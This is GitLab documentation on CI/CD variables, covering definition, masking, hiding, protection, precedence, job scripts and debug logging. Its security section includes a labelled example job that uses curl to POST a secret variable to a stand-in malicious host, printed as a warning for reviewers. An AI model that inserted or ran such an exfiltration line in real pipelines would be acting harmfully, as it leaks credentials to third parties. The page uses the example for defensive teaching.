- Predefined CI/CD variables
-
Define a CI/CD variable in the
.gitlab-ci.yml
file - Define a CI/CD variable in the UI
- CI/CD variable security
- Use CI/CD variables in job scripts
- Use CI/CD variables in other variables
- CI/CD variable precedence
- Use pipeline variables
- Exporting variables
- Related topics
- Troubleshooting
GitLab CI/CD variables
CI/CD variables are a type of environment variable. You can use them to:
- Control the behavior of jobs and pipelines.
- Store values you want to re-use.
- Avoid hard-coding values in your
.gitlab-ci.yml
file.
You can override variable values for a specific pipeline when you run a pipeline manually, run a manual job, or have them prefilled in manual pipelines.
Variable names are limited by the shell the runner uses to execute scripts. Each shell has its own set of reserved variable names.
To ensure consistent behavior, you should always put variable values in single or double quotes.
Variables are internally parsed by the Psych YAML parser,
so quoted and unquoted variables might be parsed differently. For example, VAR1: 012345
is interpreted as an octal value, so the value becomes 5349
, but VAR1: "012345"
is parsed
as a string with a value of 012345
.
For more information about advanced use of GitLab CI/CD, see 7 advanced GitLab CI workflow hacks shared by GitLab engineers.
Predefined CI/CD variables
GitLab CI/CD makes a set of predefined CI/CD variables available for use in pipeline configuration and job scripts. These variables contain information about the job, pipeline, and other values you might need when the pipeline is triggered or running.
You can use predefined CI/CD variables in your .gitlab-ci.yml
without declaring them first.
For example:
job1:
stage: test
script:
- echo "The job's stage is '$CI_JOB_STAGE'"
The script in this example outputs The job's stage is 'test'
.
Define a CI/CD variable in the .gitlab-ci.yml
file
To create a CI/CD variable in the .gitlab-ci.yml
file, define the variable and
value with the variables
keyword.
Variables saved in the .gitlab-ci.yml
file are visible to all users with access to
the repository, and should store only non-sensitive project configuration. For example,
the URL of a database saved in a DATABASE_URL
variable. Sensitive variables containing values
like secrets or keys should be added in the UI.
You can use variables
in a job or at the top level of the .gitlab-ci.yml
file.
If the variable is defined:
- At the top level, it’s globally available and all jobs can use it.
- In a job, only that job can use it.
For example:
variables:
GLOBAL_VAR: "A global variable"
job1:
variables:
JOB_VAR: "A job variable"
script:
- echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"
job2:
script:
- echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"
In this example:
-
job1
outputsVariables are 'A global variable' and 'A job variable'
-
job2
outputsVariables are 'A global variable' and ''
Use the value
and description
keywords
to define variables that are prefilled
for manually-triggered pipelines.
Skip global variables in a single job
If you don’t want globally defined variables to be available in a job, set variables
to {}
:
variables:
GLOBAL_VAR: "A global variable"
job1:
variables: {}
script:
- echo This job does not need any variables
Define a CI/CD variable in the UI
Sensitive variables like tokens or passwords should be stored in the settings in the UI,
not in the .gitlab-ci.yml
file.
Add CI/CD variables in the UI:
- For a project in the project’s settings.
- For all projects in a group in the group’s setting.
- For all projects in a GitLab instance in the instance’s settings.
Alternatively, these variables can be added by using the API:
- With the project-level variables API endpoint.
- With the group-level variables API endpoint.
- With the instance-level variables API endpoint.
By default, pipelines from forked projects can’t access the CI/CD variables available to the parent project. If you run a merge request pipeline in the parent project for a merge request from a fork, all variables become available to the pipeline.
For a project
- Introduced in GitLab 15.7, projects can have a maximum of 200 CI/CD variables.
- Updated in GitLab 15.9, projects can have a maximum of 8000 CI/CD variables.
You can add CI/CD variables to a project’s settings.
Prerequisites:
- You must be a project member with the Maintainer role.
To add or update variables in the project settings:
- On the left sidebar, select Search or go to and find your project.
- Select Settings > CI/CD.
- Expand Variables.
- Select Add variable and fill in the details:
-
Key: Must be one line, with no spaces, using only letters, numbers, or
_
. - Value: No limitations.
-
Type:
Variable
(default) orFile
. -
Environment scope: Optional. All (default) (
*
), a specific environment, or a wildcard environment scope. - Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or protected tags.
- Visibility: Select Visible (default), Masked, or Masked and hidden (only available for new variables).
-
Key: Must be one line, with no spaces, using only letters, numbers, or
After you create a variable, you can use it in the pipeline configuration or in job scripts.
For a group
- Introduced in GitLab 15.7, groups can have a maximum of 200 CI/CD variables.
- Updated in GitLab 15.9, groups can have a maximum of 30000 CI/CD variables.
You can make a CI/CD variable available to all projects in a group.
Prerequisites:
- You must be a group member with the Owner role.
To add a group variable:
- On the left sidebar, select Search or go to and find your group.
- Select Settings > CI/CD.
- Expand Variables.
- Select Add variable and fill in the details:
-
Key: Must be one line, with no spaces, using only letters, numbers, or
_
. - Value: No limitations.
-
Type:
Variable
(default) orFile
. - Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or protected tags.
- Visibility: Select Visible (default), Masked, or Masked and hidden (only available for new variables).
-
Key: Must be one line, with no spaces, using only letters, numbers, or
The group variables that are available in a project are listed in the project’s Settings > CI/CD > Variables section. Variables from subgroups are recursively inherited.
Environment scope
To set a group CI/CD variable to only be available for certain environments:
- On the left sidebar, select Search or go to and find your group.
- Select Settings > CI/CD.
- Expand Variables.
- To the right of the variable, select Edit ().
- For Environment scope, select All (default) (
*
), a specific environment, or a wildcard environment scope.
For an instance
You can make a CI/CD variable available to all projects and groups in a GitLab instance.
Prerequisites:
- You must have administrator access to the instance.
To add an instance variable:
- On the left sidebar, at the bottom, select Admin.
- Select Settings > CI/CD.
- Expand Variables.
- Select Add variable and fill in the details:
-
Key: Must be one line, with no spaces, using only letters, numbers, or
_
. - Value: The value is limited to 10,000 characters, but also bounded by any limits in the runner’s operating system.
-
Type:
Variable
(default) orFile
. - Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or protected tags.
- Visibility: Select Visible (default), Masked, or Masked and hidden (only available for new variables).
-
Key: Must be one line, with no spaces, using only letters, numbers, or
CI/CD variable security
Code pushed to the .gitlab-ci.yml
file could compromise your variables. Variables could
be accidentally exposed in a job log, or maliciously sent to a third party server.
Review all merge requests that introduce changes to the .gitlab-ci.yml
file before you:
- Run a pipeline in the parent project for a merge request submitted from a forked project.
- Merge the changes.
Review the .gitlab-ci.yml
file of imported projects before you add files or run pipelines against them.
The following example shows malicious code in a .gitlab-ci.yml
file:
accidental-leak-job:
script: # Password exposed accidentally
- echo "This script logs into the DB with $USER $PASSWORD"
- db-login $USER $PASSWORD
malicious-job:
script: # Secret exposed maliciously
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
To help reduce the risk of accidentally leaking secrets through scripts like in accidental-leak-job
,
all variables containing sensitive information should always be masked in job logs.
You can also limit a variable to protected branches and tags only.
Alternatively, use one of the native GitLab integrations to connect with third party secrets manager providers to store and retrieve secrets:
You can also use OpenID Connect (OIDC) authentication for secrets managers which do not have a native integration.
Malicious scripts like in malicious-job
must be caught during the review process.
Reviewers should never trigger a pipeline when they find code like this, because
malicious code can compromise both masked and protected variables.
Variable values are encrypted using aes-256-cbc
and stored in the database. This data can only be read and decrypted with a
valid secrets file.
Mask a CI/CD variable
env
/printenv
from printing secret variables.You can mask a project, group, or instance CI/CD variable so the value of the variable
does not display in job logs. When a masked CI/CD variable would be displayed in a job log,
the value is replaced with [masked]
to prevent the value from being exposed.
Prerequisites:
- You must have the same role or access level as required to add a CI/CD variable in the UI.
To mask a variable:
- For the group, project, or in the Admin area, select Settings > CI/CD.
- Expand Variables.
- Next to the variable you want to protect, select Edit.
- Under Visibility, select Mask variable.
- Select Update variable.
The method used to mask variables limits what can be included in a masked variable. The value of the variable must:
- Be a single line with no spaces.
- Be 8 characters or longer.
- Not match the name of an existing predefined or custom CI/CD variable.
- Not include non-alphanumeric characters other than
@
,_
,-
,:
, or+
.
Additionally, if variable expansion is enabled, the value can contain only:
- Characters from the Base64 alphabet (RFC4648).
- The
@
,:
,.
, or~
characters.
Masking a variable automatically masks the value anywhere in a job log. If another
variable has the same value, that value is also masked, including when a variable
references a masked variable. The string [MASKED]
is shown instead of the value,
possibly with some trailing x
characters.
Different versions of GitLab Runner have different masking limitations:
Version | Limitations |
---|---|
v14.1.0 and earlier | Masking of large secrets (greater than 4 KiB) could potentially be revealed. No sensitive URL parameter masking. |
v14.2.0 to v15.3.0 | The tail of a large secret (greater than 4 KiB) could potentially be revealed. No sensitive URL parameter masking. |
v15.7.0 and later | Secrets could be revealed when CI_DEBUG_SERVICES is enabled. For details, read about service container logging.
|
Hide a CI/CD variable
-
Introduced in GitLab 17.4 with a flag named
ci_hidden_variables
. Enabled by default. -
Generally available in GitLab 17.6. Feature flag
ci_hidden_variables
removed.
In addition to masking, you can also prevent the value of CI/CD variables from being revealed in the CI/CD settings page. Hiding a variable is only possible when creating a new variable, you cannot update an existing variable to be hidden.
Prerequisites:
- You must have the same role or access level as required to add a CI/CD variable in the UI.
- The variable value must match the requirements for masked variables.
To hide a variable, select Masked and hidden in the Visibility section when you add a new CI/CD variable in the UI. After you save the variable, the variable can be used in CI/CD pipelines, but cannot be revealed in the UI again.
Protect a CI/CD variable
You can configure a project, group, or instance CI/CD variable to be available only to pipelines that run on protected branches or protected tags.
Merged results pipelines and merge request pipelines do not have access to these variables.
Prerequisites:
- You must have the same role or access level as required to add a CI/CD variable in the UI.
To set a variable as protected:
- For the project or group, go to Settings > CI/CD.
- Expand Variables.
- Next to the variable you want to protect, select Edit.
- Select the Protect variable checkbox.
- Select Update variable.
The variable is available for all subsequent pipelines.
Use file type CI/CD variables
All predefined CI/CD variables and variables defined in the .gitlab-ci.yml
file
are “variable” type (variable_type
of env_var
in the API).
Variable type variables:
- Consist of a key and value pair.
- Are made available in jobs as environment variables, with:
- The CI/CD variable key as the environment variable name.
- The CI/CD variable value as the environment variable value.
Project, group, and instance CI/CD variables are “variable” type by default, but can
optionally be set as a “file” type (variable_type
of file
in the API).
File type variables:
- Consist of a key, value, and file.
- Are made available in jobs as environment variables, with:
- The CI/CD variable key as the environment variable name.
- The CI/CD variable value saved to a temporary file.
- The path to the temporary file as the environment variable value.
Use file type CI/CD variables for tools that need a file as input. The AWS CLI
and kubectl
are both tools that use File
type variables for configuration.
For example, if you are using kubectl
with:
- A variable with a key of
KUBE_URL
andhttps://example.com
as the value. - A file type variable with a key of
KUBE_CA_PEM
and a certificate as the value.
Pass KUBE_URL
as a --server
option, which accepts a variable, and pass $KUBE_CA_PEM
as a --certificate-authority
option, which accepts a path to a file:
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
Use a .gitlab-ci.yml
variable as a file type variable
You cannot set a CI/CD variable defined in the .gitlab-ci.yml
file
as a file type variable. If you have a tool that requires a file path as an input,
but you want to use a variable defined in the .gitlab-ci.yml
:
- Run a command that saves the value of the variable in a file.
- Use that file with your tool.
For example:
variables:
SITE_URL: "https://gitlab.example.com"
job:
script:
- echo "$SITE_URL" > "site-url.txt"
- mytool --url-file="site-url.txt"
Use CI/CD variables in job scripts
All CI/CD variables are set as environment variables in the job’s environment. You can use variables in job scripts with the standard formatting for each environment’s shell.
To access environment variables, use the syntax for your runner executor’s shell.
With Bash, sh
and similar
To access environment variables in Bash, sh
, and similar shells, prefix the
CI/CD variable with ($
):
job_name:
script:
- echo "$CI_JOB_ID"
With PowerShell
To access variables in a Windows PowerShell environment, including environment
variables set by the system, prefix the variable name with $env:
or $
:
job_name:
script:
- echo $env:CI_JOB_ID
- echo $CI_JOB_ID
- echo $env:PATH
In some cases environment variables must be surrounded by quotes to expand properly:
job_name:
script:
- D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test
With Windows Batch
To access CI/CD variables in Windows Batch, surround the variable with %
:
job_name:
script:
- echo %CI_JOB_ID%
You can also surround the variable with !
for delayed expansion.
Delayed expansion might be needed for variables that contain white spaces or newlines:
job_name:
script:
- echo !ERROR_MESSAGE!
In service containers
Service containers can use CI/CD variables, but
by default can only access variables saved in the .gitlab-ci.yml
file.
Variables added in the GitLab UI are not available to
service containers, because service containers are not trusted by default.
To make a UI-defined variable available in a service container, you can re-assign
it to another variable in your .gitlab-ci.yml
:
variables:
SA_PASSWORD_YAML_FILE: $SA_PASSWORD_UI
The re-assigned variable cannot have the same name as the original variable. Otherwise it does not get expanded.
Pass an environment variable to another job
You can create a new environment variable in a job, and pass it to another job
in a later stage. These variables cannot be used as CI/CD variables to configure a pipeline
(for example with the rules
keyword), but they can be used in job scripts.
To pass a job-created environment variable to other jobs:
- In the job script, save the variable as a
.env
file.- The format of the file must be one variable definition per line.
- Each line must be formatted as:
VARIABLE_NAME=ANY VALUE HERE
. - Values can be wrapped in quotes, but cannot contain newline characters.
- Save the
.env
file as anartifacts:reports:dotenv
artifact. - Jobs in later stages can then use the variable in scripts,
unless jobs are configured not to receive
dotenv
variables.
For example:
build-job:
stage: build
script:
- echo "BUILD_VARIABLE=value_from_build_job" >> build.env
artifacts:
reports:
dotenv: build.env
test-job:
stage: test
script:
- echo "$BUILD_VARIABLE" # Output is: 'value_from_build_job'
Variables from dotenv
reports take precedence over
certain types of new variable definitions such as job defined variables.
You can also pass dotenv
variables to downstream pipelines.
Control which jobs receive dotenv
variables
You can use the dependencies
or needs
keywords to control which jobs receive the dotenv
artifacts.
To have no environment variables from a dotenv
artifact:
- Pass an empty
dependencies
orneeds
array. - Pass
needs:artifacts
asfalse
. - Set
needs
to only list jobs that do not have adotenv
artifact.
For example:
build-job1:
stage: build
script:
- echo "BUILD_VERSION=v1.0.0" >> build.env
artifacts:
reports:
dotenv: build.env
build-job2:
stage: build
needs: []
script:
- echo "This job has no dotenv artifacts"
test-job1:
stage: test
script:
- echo "$BUILD_VERSION" # Output is: 'v1.0.0'
dependencies:
- build-job1
test-job2:
stage: test
script:
- echo "$BUILD_VERSION" # Output is ''
dependencies: []
test-job3:
stage: test
script:
- echo "$BUILD_VERSION" # Output is: 'v1.0.0'
needs:
- build-job1
test-job4:
stage: test
script:
- echo "$BUILD_VERSION" # Output is: 'v1.0.0'
needs:
- job: build-job1
artifacts: true
test-job5:
stage: deploy
script:
- echo "$BUILD_VERSION" # Output is ''
needs:
- job: build-job1
artifacts: false
test-job6:
stage: deploy
script:
- echo "$BUILD_VERSION" # Output is ''
needs:
- build-job2
Pass an environment variable from the script
section to another section in the same job
Use $GITLAB_ENV
to pass environment variables defined in the script
section to another section.
For example:
build-job:
stage: build
script:
- echo "ARCH=$(arch)" >> $GITLAB_ENV
- touch some-file-$(arch)
artifacts:
paths:
- some-file-$ARCH
To also reference the variable in other stages, write the variable to both the $GITLAB_ENV
and .env
files:
build-job:
stage: build
script:
- echo "ARCH=$(arch)" | tee >> $GITLAB_ENV build.env
- touch some-file-$(arch)
artifacts:
paths:
- some-file-$ARCH
reports:
dotenv: build.env
release-job:
stage: release
script:
- curl --upload-file some-file-$ARCH "https://example.com/some-file-$ARCH"
Store multiple values in one variable
You cannot create a CI/CD variable that is an array of values, but you can use shell scripting techniques for similar behavior.
For example, you can store multiple values separated by a space in a variable, then loop through the values with a script:
job1:
variables:
FOLDERS: src test docs
script:
- |
for FOLDER in $FOLDERS
do
echo "The path is root/${FOLDER}"
done
As part of a string
You can use variables as part of a string. You can surround the variables with curly brackets ({}
)
to help distinguish the variable name from the surrounding text. Without curly brackets,
the adjacent text is interpreted as part of the variable name. For example:
job:
variables:
FLAGS: '-al'
DIR: 'path/to/directory'
LS_CMD: 'ls "$FLAGS"'
CD_CMD: 'cd "${DIR}_files"'
script:
- 'eval "$LS_CMD"' # Executes 'ls -al'
- 'eval "$CD_CMD"' # Executes 'cd path/to/directory_files'
Use CI/CD variables in other variables
You can use variables inside other variables:
job:
variables:
FLAGS: '-al'
LS_CMD: 'ls "$FLAGS"'
script:
- 'eval "$LS_CMD"' # Executes 'ls -al'
Use the $
character in CI/CD variables
If you do not want the $
character interpreted as the start of another variable,
use $$
instead:
job:
variables:
FLAGS: '-al'
LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
script:
- 'eval "$LS_CMD"' # Executes 'ls -al $TMP_DIR'
Prevent CI/CD variable expansion
- Introduced in GitLab 15.7.
Expanded variables treat values with the $
character as a reference to another variable.
CI/CD variables are expanded by default. To treat variables with a $
character as raw strings,
disable variable expansion for the variable
Prerequisites:
- You must have the same role or access level as required to add a CI/CD variable in the UI.
To disable variable expansion for the variable:
- For the project or group, go to Settings > CI/CD.
- Expand Variables.
- Next to the variable you want to do not want expanded, select Edit.
- Clear the Expand variable checkbox.
- Select Update variable.
CI/CD variable precedence
- Scan Execution Policies variable precedence was changed in GitLab 16.7 with a flag named
security_policies_variables_precedence
. Enabled by default. Feature flag removed in GitLab 16.8.
You can use CI/CD variables with the same name in different places, but the values can overwrite each other. The type of variable and where they are defined determines which variables take precedence.
The order of precedence for variables is (from highest to lowest):
- Pipeline execution policy variables.
- Scan execution policy variables.
- Pipeline variables. These variables all have the same precedence:
- Project variables.
- Group variables. If the same variable name exists in a
group and its subgroups, the job uses the value from the closest subgroup. For example, if
you have
Group > Subgroup 1 > Subgroup 2 > Project
, the variable defined inSubgroup 2
takes precedence. - Instance variables.
-
Variables from
dotenv
reports. - Variables defined in jobs in the
.gitlab-ci.yml
file. - Variables defined outside of jobs (globally) in the
.gitlab-ci.yml
file. - Deployment variables.
- Predefined variables.
For example:
variables:
API_TOKEN: "default"
job1:
variables:
API_TOKEN: "secure"
script:
- echo "The variable is '$API_TOKEN'"
In this example, job1
outputs The variable is 'secure'
because variables defined in jobs in the .gitlab-ci.yml
file
have higher precedence than variables defined globally in the .gitlab-ci.yml
file.
Use pipeline variables
Pipeline variables are variables that are specified when running a new pipeline.
Prerequisites:
- You must have the Developer role in the project.
You can specify a pipeline variable when you:
- Run a pipeline manually in the UI.
- Create a pipeline by using the
pipelines
API endpoint. - Create a pipeline by using the
triggers
API endpoint. - Use push options.
- Pass variables to a downstream pipeline by using either the
variables
keyword,trigger:forward
keyword ordotenv
variables. - Specify variables when creating a pipeline schedule.
- Specify variables when running a manual job.
These variables have higher precedence and can override other defined variables, including predefined variables.
Restrict pipeline variables
You can limit who can run pipelines with pipeline variables to specific user roles. To limit the use of pipeline variables to only the Maintainer role and higher:
- Use the projects API to enable the
restrict_user_defined_variables
setting. The setting isdisabled
by default.
When users with the Developer role or lower try to use pipeline variables,
they receive the Insufficient permissions to set pipeline variables
error message.
If you store your CI/CD configurations in a different repository, use this setting for control over the environment the pipeline runs in.
Set a minimum role for pipeline variables
- Introduced in GitLab 17.1
When pipeline variables are restricted, you can also set a specific minimum role that can run pipelines with pipeline variables.
Prerequisites:
- You must have the Maintainer role in the project. If the minimum role was previously set to
owner
orno_one_allowed
, then you must have the Owner role in the project.
To change the setting, use the projects API
to set ci_pipeline_variables_minimum_override_role
to one of:
-
no_one_allowed
: No pipelines can run with pipeline variables. -
owner
: Only users with the Owner role can run pipelines with pipeline variables. You must have the Owner role for the project to change the setting to this value. -
maintainer
: Only users with at least the Maintainer role can run pipelines with pipeline variables. Default when not specified. -
developer
: Only users with at least the Developer role can run pipelines with pipeline variables.
Exporting variables
Scripts executed in separate shell contexts do not share exports, aliases, local function definitions, or any other local shell updates.
This means that if a job fails, variables created by user-defined scripts are not exported.
When runners execute jobs defined in .gitlab-ci.yml
:
- Scripts specified in
before_script
and the main script are executed together in a single shell context, and are concatenated. - Scripts specified in
after_script
run in a shell context completely separate to thebefore_script
and the specified scripts.
Regardless of the shell the scripts are executed in, the runner output includes:
- Predefined variables.
- Variables defined in:
- Instance, group, or project CI/CD settings.
- The
.gitlab-ci.yml
file in thevariables:
section. - The
.gitlab-ci.yml
file in thesecrets:
section. - The
config.toml
.
The runner cannot handle manual exports, shell aliases, and functions executed in the body of the script, like export MY_VARIABLE=1
.
For example, in the following .gitlab-ci.yml
file, the following scripts are defined:
job:
variables:
JOB_DEFINED_VARIABLE: "job variable"
before_script:
- echo "This is the 'before_script' script"
- export MY_VARIABLE="variable"
script:
- echo "This is the 'script' script"
- echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
- echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
- echo "MY_VARIABLE's value is ${MY_VARIABLE}"
after_script:
- echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
- echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
- echo "MY_VARIABLE's value is ${MY_VARIABLE}"
When the runner executes the job:
-
before_script
is executed:- Prints to the output.
- Defines the variable for
MY_VARIABLE
.
-
script
is executed:- Prints to the output.
- Prints the value of
JOB_DEFINED_VARIABLE
. - Prints the value of
CI_COMMIT_SHA
. - Prints the value of
MY_VARIABLE
.
-
after_script
is executed in a new, separate shell context:- Prints to the output.
- Prints the value of
JOB_DEFINED_VARIABLE
. - Prints the value of
CI_COMMIT_SHA
. - Prints an empty value of
MY_VARIABLE
. The variable value cannot be detected becauseafter_script
is in a separate shell context tobefore_script
.
Related topics
-
You can configure Auto DevOps to pass CI/CD variables to a running application. To make a CI/CD variable available as an environment variable in the running application’s container, prefix the variable key with
K8S_SECRET_
. -
The Managing the Complex Configuration Data Management Monster Using GitLab video is a walkthrough of the Complex Configuration Data Monorepo working example project. It explains how multiple levels of group CI/CD variables can be combined with environment-scoped project variables for complex configuration of application builds or deployments.
The example can be copied to your own group or instance for testing. More details on what other GitLab CI patterns are demonstrated are available at the project page.
-
You can pass CI/CD variables to downstream pipelines. Use
trigger:forward
keyword to specify what type of variables to pass to the downstream pipeline.
Troubleshooting
List all variables
You can list all variables available to a script with the export
command
in Bash or dir env:
in PowerShell. This exposes the values of all available
variables, which can be a security risk.
Masked variables display as [MASKED]
.
For example, with Bash:
job_name:
script:
- export
Example job log output (truncated):
export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="main"
export CI_REPOSITORY_URL="https://gitlab-ci-token:[MASKED]@example.com/gitlab-org/gitlab.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"
export CI_JOB_TOKEN="[MASKED]"
export CI_PIPELINE_ID="1000"
export CI_PIPELINE_IID="10"
export CI_PAGES_DOMAIN="gitlab.io"
export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab"
export CI_PROJECT_ID="34"
export CI_PROJECT_DIR="/builds/gitlab-org/gitlab"
export CI_PROJECT_NAME="gitlab"
export CI_PROJECT_TITLE="GitLab"
...
Enable debug logging
You can use debug logging to help troubleshoot problems with pipeline configuration or job scripts. Debug logging exposes job execution details that are usually hidden by the runner and makes job logs more verbose. It also exposes all variables and secrets available to the job.
Before you enable debug logging, make sure only team members can view job logs. You should also delete job logs with debug output before you make logs public again.
To enable debug logging, set the CI_DEBUG_TRACE
variable to true
:
job_name:
variables:
CI_DEBUG_TRACE: "true"
Example output (truncated):
...
export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE"
if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\''
$'\''cd'\'' "/builds/gitlab-examples/ci-debug-trace"
$'\''git'\'' "config" "fetch.recurseSubmodules" "false"
$'\''rm'\'' "-f" ".git/index.lock"
$'\''git'\'' "clean" "-ffdx"
$'\''git'\'' "reset" "--hard"
$'\''git'\'' "remote" "set-url" "origin" "https://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@example.com/gitlab-examples/ci-debug-trace.git"
$'\''git'\'' "fetch" "origin" "--prune" "+refs/heads/*:refs/remotes/origin/*" "+refs/tags/*:refs/tags/lds"
++ CI_BUILDS_DIR=/builds
++ export CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ export CI_CONCURRENT_ID=87
++ CI_CONCURRENT_ID=87
++ export CI_CONCURRENT_PROJECT_ID=0
++ CI_CONCURRENT_PROJECT_ID=0
++ export CI_SERVER=yes
++ CI_SERVER=yes
++ mkdir -p /builds/gitlab-examples/ci-debug-trace.tmp
++ echo -n '-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----'
++ export CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ export CI_PIPELINE_ID=52666
++ CI_PIPELINE_ID=52666
++ export CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ export CI_JOB_ID=7046507
++ CI_JOB_ID=7046507
++ export CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ export CI_JOB_TOKEN=[MASKED]
++ CI_JOB_TOKEN=[MASKED]
++ export CI_REGISTRY_USER=gitlab-ci-token
++ CI_REGISTRY_USER=gitlab-ci-token
++ export CI_REGISTRY_PASSWORD=[MASKED]
++ CI_REGISTRY_PASSWORD=[MASKED]
++ export CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ export CI_JOB_NAME=debug_trace
++ CI_JOB_NAME=debug_trace
++ export CI_JOB_STAGE=test
++ CI_JOB_STAGE=test
++ export CI_NODE_TOTAL=1
++ CI_NODE_TOTAL=1
++ export CI=true
++ CI=true
++ export GITLAB_CI=true
++ GITLAB_CI=true
++ export CI_SERVER_URL=https://gitlab.com:3000
++ CI_SERVER_URL=https://gitlab.com:3000
++ export CI_SERVER_HOST=gitlab.com
++ CI_SERVER_HOST=gitlab.com
++ export CI_SERVER_PORT=3000
++ CI_SERVER_PORT=3000
++ export CI_SERVER_SHELL_SSH_HOST=gitlab.com
++ CI_SERVER_SHELL_SSH_HOST=gitlab.com
++ export CI_SERVER_SHELL_SSH_PORT=22
++ CI_SERVER_SHELL_SSH_PORT=22
++ export CI_SERVER_PROTOCOL=https
++ CI_SERVER_PROTOCOL=https
++ export CI_SERVER_NAME=GitLab
++ CI_SERVER_NAME=GitLab
++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ export CI_PROJECT_ID=17893
++ CI_PROJECT_ID=17893
++ export CI_PROJECT_NAME=ci-debug-trace
++ CI_PROJECT_NAME=ci-debug-trace
...
Access to debug logging
Access to debug logging is restricted to users with at least the Developer role. Users with a lower role cannot see the logs when debug logging is enabled with a variable in:
- The
